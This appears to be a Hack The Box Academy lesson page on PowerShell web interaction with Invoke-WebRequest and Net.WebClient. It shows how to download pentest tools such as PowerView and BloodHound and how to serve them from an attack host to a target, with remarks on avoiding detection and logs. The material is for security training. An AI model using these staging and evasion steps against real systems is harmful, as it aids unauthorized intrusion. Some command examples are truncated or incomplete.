



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

Interacting With The Web

As an administrator, we can **automate** how we perform remote updates, install applications, and much more with tools and cmdlets through PowerShell. This will ensure that we can get the software, updates, and other objects we need on hosts locally and remotely without manually browsing for them via the GUI. This will save us time and enable us to remotely administer the hosts instead of sitting at its keyboard or RDP'ing in. As a pentester, this is a quick way to get tools and other items we need into the environment and to exfiltrate data if we have the infrastructure to send it to. This section will cover how we interact with the web and show several ways to utilize PowerShell to serve this purpose.

How Do We Interact With The Web Using PowerShell?

When it comes to interacting with the web via PowerShell, the **Invoke-WebRequest** cmdlet is our champion. We can use it to perform basic HTTP/HTTPS requests (like **GET** and **POST**), parse through HTML pages, download files, authenticate, and even maintain a session with a site. It's very versatile and easy to use in scripting and automation. If you prefer aliases, the Invoke-WebRequest cmdlet is aliased to **wget**, **iwr** and **curl**. Those familiar with Linux Fundamentals may be familiar with cURL and wget, as they are used to download files from the command line in Linux distributions. Let's look at the help from Invoke-WebRequest for a minute.

Invoke-WebRequest Help

Interacting With The Web

```
PS C:\Windows\system32> Get-Help Invoke-WebRequest
```

NAME

Invoke-WebRequest

SYNOPSIS

Gets content from a web page on the Internet.

SYNTAX

```
Invoke-WebRequest [-Uri] <System.Uri> [-Body <System.Object>] [-Certificate  
<System.Security.Cryptography.X509Certificates.X509Certificate>] [-CertificateThumbprint <System.String>]  
[-ContentType <System.String>] [-Credential <System.Management.Automation.PSCredential>] [-DisableKeepAlive]  
[-Headers <System.Collections.IDictionary>] [-InFile <System.String>] [-MaximumRedirection <System.Int32>]  
[-Method {Default | Get | Head | Post | Put | Delete | Trace | Options | Merge | Patch}] [-OutFile  
<System.String>] [-PassThru] [-Proxy <System.Uri>] [-ProxyCredential <System.Management.Automation.PSCred  
[-ProxyUseDefaultCredentials] [-SessionVariable <System.String>] [-TimeoutSec <System.Int32>] [-TransferEnc  
{chunked | compress | deflate | gzip | identity}] [-UseBasicParsing] [-UseDefaultCredentials] [-UserAgent  
<System.String>] [-WebSession <Microsoft.PowerShell.Commands.WebRequestSession>] [<CommonParameters>]
```

DESCRIPTION

The `Invoke-WebRequest`` cmdlet sends HTTP, HTTPS, FTP, and FILE requests to a web page or web service. It returns the response and returns collections of forms, links, images, and other significant HTML elements.

This cmdlet was introduced in Windows PowerShell 3.0.

> **[!NOTE]** > By default, script code in the web page may be run when the page is being parsed to populate the `ParsedHtml`` property. Use the `-UseBasicParsing`` switch to suppress this.

> **[!IMPORTANT]** > The examples in this article reference hosts in the ``contoso.com`` domain. This is a fictitious domain used by Microsoft for examples. The examples are designed to show how to use the cmdlets. > However, the ``contoso.com`` sites don't exist, the examples don't work. Adapt the examples > to hosts in your environment.



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

Notice in the synopsis from the Get-Help output it states:

"Gets content from a web page on the Internet."

While this is the core functionality, we can also use it to get content that we host on web servers in the same network environment.

We have talked it up, and now let's try and do a simple web request using Invoke-WebRequest.

A Simple Web Request

We can perform a basic Get request of a website using the `-Method GET` modifier with the Invoke-WebRequest cmdlet, as seen below.

We will specify the URI as `https://web.ics.purdue.edu/~gchopra/class/public/pages/webdesign/05_simple.html` for this example. We will also send it to `Get-Member` to inspect the object's output methods and properties.

Get Request with Invoke-WebRequest

```
Interacting With The Web

PS C:\htb> Invoke-WebRequest -Uri "https://web.ics.purdue.edu/~gchopra/class/public/pages/webdesign/05_simple.html"

TypeName: Microsoft.PowerShell.Commands.HtmlWebResponseObject

-----
Dispose      Method      void Dispose(), void IDisposable.Dispose()
Equals       Method      bool Equals(System.Object obj)
GetHashCode  Method      int GetHashCode()
GetType      Method      type GetType()
ToString     Method      string ToString()
AllElements  Property    Microsoft.PowerShell.Commands.WebCmdletElementCollection AllElements...
BaseResponse Property    System.Net.WebResponse BaseResponse {get;set;}
Content      Property    string Content {get;}
Forms        Property    Microsoft.PowerShell.Commands.FormObjectCollection Forms {get;}
Headers      Property    System.Collections.Generic.Dictionary[string,string] Headers {get;}
Images       Property    Microsoft.PowerShell.Commands.WebCmdletElementCollection Images {get;}
InputFields  Property    Microsoft.PowerShell.Commands.WebCmdletElementCollection InputFields...
Links        Property    Microsoft.PowerShell.Commands.WebCmdletElementCollection Links {get;}
ParsedHtml   Property    mshtml.IHTMLDocument2 ParsedHtml {get;}
RawContent   Property    string RawContent {get;set;}
RawContentLength Property    long RawContentLength {get;}
RawContentStream Property    System.IO.MemoryStream RawContentStream {get;}
Scripts      Property    Microsoft.PowerShell.Commands.WebCmdletElementCollection Scripts {get;}
StatusCode   Property    int StatusCode {get;}
StatusDescription Property    string StatusDescription {get;}
```

Notice all the different properties this site has. We can now filter on those if we wish to show only a portion of the site. For example, what if we just wanted to see a listing of the images on the site? We can do that by performing the request and then filtering for just `Images` like so:

Filtering Incoming Content

```
Interacting With The Web

PS C:\htb> Invoke-WebRequest -Uri "https://web.ics.purdue.edu/~gchopra/class/public/pages/webdesign/05_simple.html" | Select-Object Images

Images : {@{innerHTML=; innerText=; outerHTML=<IMG alt="Pretty Picture"
src="example/prettypicture.jpg">; outerText=; tagName=IMG; alt=Pretty Picture;
src=example/prettypicture.jpg}, @{innerHTML=; innerText=; outerHTML=<IMG alt="Pretty
Picture" src="example/prettvoicture.ida" align=top>; outerText=: tagName=IMG; alt=Prettv
```



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

way only to get the information we wish to see. The raw content of the website we are enumerating looks like this:

Raw Content

```
Interacting With The Web

PS C:\htb> Invoke-WebRequest -Uri "https://web.ics.purdue.edu/~gchopra/class/public/pages/webdesign/05_simple.html"

RawContent : HTTP/1.1 200 OK
              Strict-Transport-Security: max-age=16070400
              X-Content-Type-Options: nosniff
              X-XSS-Protection: 1; mode=block
              X-Frame-Options: SAMEORIGIN
              Accept-Ranges: bytes
              Content-Length: 1807
              Content-Type: text/html
              Date: Thu, 10 Nov 2022 16:25:07 GMT
              ETag: "70f-529340fa7b28d"
              Last-Modified: Wed, 13 Jan 2016 09:47:41 GMT
              Server: Apache/2.4.6 () OpenSSL/1.0.2k-fips

              <html>

              <head>
              <title>A very simple webpage</title>
              <basefont size=4>
              </head>

              <body bgcolor=FFFFFF>

              <h1>A very simple webpage. This is an "h1" level header.</h1>

              <h2>This is a level h2 header.</h2>

              <h6>This is a level h6 header. Pretty small!</h6>

              <p>This is a standard paragraph.</p>

              <p align=center>Now I've aligned it in the center of the screen.</p>

              <p align=right>Now aligned to the right</p>

              <p><b>Bold text</b></p>

              <p><strong>Strongly emphasized text</strong> Can you tell the difference vs. bold?</p>

              <p><i>Italics</i></p>

              <p><em>Emphasized text</em> Just like Italics!</p>

              <p>Here is a pretty picture: <img src=example/prettypicture.jpg alt="Pretty
              Picture"></p>

              <SNIP>
```

We could carve out this site's **raw content** instead of looking at everything from the request all at once. Notice how much easier it is to read? As a quick way to recon a website or pull key information out, such as names, addresses, and emails, it doesn't get much easier than this. Where **Invoke-WebRequest** gets handy is its ability to download files via the CLI. Let's look at downloading files now.

Downloading Files using PowerShell

Whether performing sys admin, pentesting engagement, or disaster recovery-related tasks, files of all kinds will inevitably need to be



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

what they were meant for, others are unintentional by the tool creators) we could perform web requests and downloads.

Downloading PowerView.ps1 from GitHub

We can practice using Invoke-WebRequest by downloading a popular tool used by many pentesters called [PowerView](#).

Download To Our Host

```
Interacting With The Web

PS C:\> Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1"

PS C:\> dir

Directory: C:\

Mode                LastWriteTime         Length Name
----                -
d-----        6/5/2021   5:10 AM                PerfLogs
d-r---         7/25/2022   7:36 AM                Program Files
d-r---         6/5/2021   7:37 AM                Program Files (x86)
d-r---         7/30/2022  10:21 AM                Users
d-----        7/21/2022  11:28 AM                Windows
-a----         8/10/2022   9:12 AM          7299504 PowerView.ps1
```

Using Invoke-WebRequest is simple; we specify the cmdlet and the exact URL of a resource we want to download:

```
-Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1"
```

After the URL, we specify the location and file name of the resource on the Windows system we are downloading it from:

```
-OutFile "C:\PowerView.ps1"
```

We can also use Invoke-WebRequest to download files from web servers on the local network or a network reachable from the Windows target. It is common to find the need to transfer files from our attack host to a Windows target. One benefit to doing this would be if one of our goals during a pentest is to remain as stealthy as possible, we may not need to generate requests to the Internet that network security appliances could detect at the edge of the network. If we already had PowerView.ps1 stored on our [attack host](#) we could use a simple python web server to host PowerView.ps1 and download it from the target.

Example Path to Bring Tools Into an Environment

If we already had PowerView.ps1 stored on our [attack host](#) we could use a simple Python web server to host PowerView.ps1 and download it from the target. From the attack host, we want to confirm that the file is already present or we need to download it. In this example, we can assume it is already on the attack host for demonstration purposes.

Using Is to View the File (Attack Host)

```
Interacting With The Web

dbcyph0n@htb[/htb]$ ls

Dictionaries          Get-HttpStatus.ps1          Invoke-Portscan.ps1          PowerView.ps1  Recon
Get-ComputerDetail.ps1  Invoke-CompareAttributesForClass.ps1  Invoke-ReverseDnsLookup.ps1  README.md      Recon
```



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

Starting the Python Web Server (Attack Host)

Interacting With The Web

```
dbcypth0n@htb[/htb]$ python3 -m http.server 8000  
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Then, we would download the hosted file from the attack host using Invoke-WebRequest.

Downloading PowerView.ps1 from Web Server (From Attack Host to Target Host)

Interacting With The Web

```
Invoke-WebRequest -Uri "http://10.10.14.169:8000/PowerView.ps1" -OutFile "C:\PowerView.ps1"
```

As discussed previously, we can use the Invoke-WebRequest cmdlet to send commands to remote hosts. This can be pretty useful, especially when we discover vulnerabilities that allow us to execute commands on a Windows target but may not have access via an interactive shell or remote desktop session. This could allow us to download files onto the target host, allowing us to further our access to that target and move to others on the network. File transfer methods are covered in greater detail in the module [File Transfers](#).

What If We Can't Use Invoke-WebRequest?

So what happens if we are restricted from using Invoke-WebRequest for some reason? Not to fear, Windows provides several different methods to interact with web clients. The first and more challenging interaction path is utilizing the [.Net.WebClient](#) class. This handy class is a .Net call we can utilize as Windows uses and understands .Net. This class contains standard system.net methods for interacting with resources via a URI (web addresses like github.com/project/tool.ps1). Let's look at an example:

Net.WebClient Download

Interacting With The Web

```
PS C:\htb> (New-Object Net.WebClient).DownloadFile("https://github.com/BloodHoundAD/BloodHound/releases/download/v1.10.0/BloodHound.zip")  
PS C:\htb> ls  
  
Directory: C:\Users\MTanaka  
  
Mode                LastWriteTime         Length Name  
----                -  
-a---             11/10/2022 10:45 AM       108511752 Bloodhound.zip  
-a---              6/14/2022  8:22 AM           4418 passwords.kdbx  
-a---              9/9/2020   4:54 PM        696576 Start.exe  
-a---              9/11/2021 12:58 PM              0 sticky.gpr  
-a---             11/10/2022 10:44 AM       108511752 test.zip
```

So it worked. Let's break down what we did:

- First we have the Download cradle `(New-Object Net.WebClient).DownloadFile()`, which is how we tell it to execute our request.



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

- Finally, we need to tell the command where we want the file written to with the second parameter ,
"BloodHound.zip".

The command above would have downloaded the file to the current directory we are working from as `Bloodhound.zip`. Looking at our terminal, we can see that it executed successfully because the file `Bloodhound.zip` now exists in our `working directory`. If we wanted to place it somewhere else, we would have to specify the full path. From here, we can `extract` the tools and run them as we see fit. Keep in mind this is noisy because you will have web requests entering and leaving your network along with file reads and writes, so it `WILL` leave logs. If your transfers are done locally, only host to host, for example, you only leave logs on those hosts, which are a bit harder to sift through and leave less of a trace since we aren't writing ingress/egress logs at the customer boundary.

Wrapping Up

This section has only scratched the surface of what we could do with PowerShell when interacting with the web. Be sure to take some time and practice the different types of requests you can send and even the many different ways you can filter and use the information you get. From this point, we will move on and talk about automation with PowerShell and how it can benefit us.

VPN Servers

 **Warning:** Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

PROTOCOL

 **UDP 1337**  **TCP 443**

[DOWNLOAD VPN CONNECTION FILE](#)

[Start Instance](#)

 / 1 spawns left



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

Enable now

← Previous

Next →

+10 Streak pts

✔ Mark Complete & Next

 Cheat Sheet

 Resources

Table of Contents

Introduction



CMD

 Command Prompt Basics



 Getting Help



 System Navigation



 Working with Directories and Files



 Gathering System Information



 Finding Files and Directories



 Environment Variables



 Managing Services



 Working With Scheduled Tasks



PowerShell

 CMD Vs. PowerShell



 All About Cmdlets and Modules



 User and Group Management



 Working with Files and Directories



 Finding & Filtering Content



 Working with Services



 Working with the Registry



 Working with the Windows Event Log



 Networking Management from The CLI



 Interacting with The Web

 PowerShell Scripting and Automation

Finish Strong

 Skills Assessment

Beyond This Module

My Workstation



To keep your account secure, move your 2FA to HTB Account by June 27th
The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

[Enable now](#)

OFFLINE

▶ Start Instance

∞ / 1 spawns left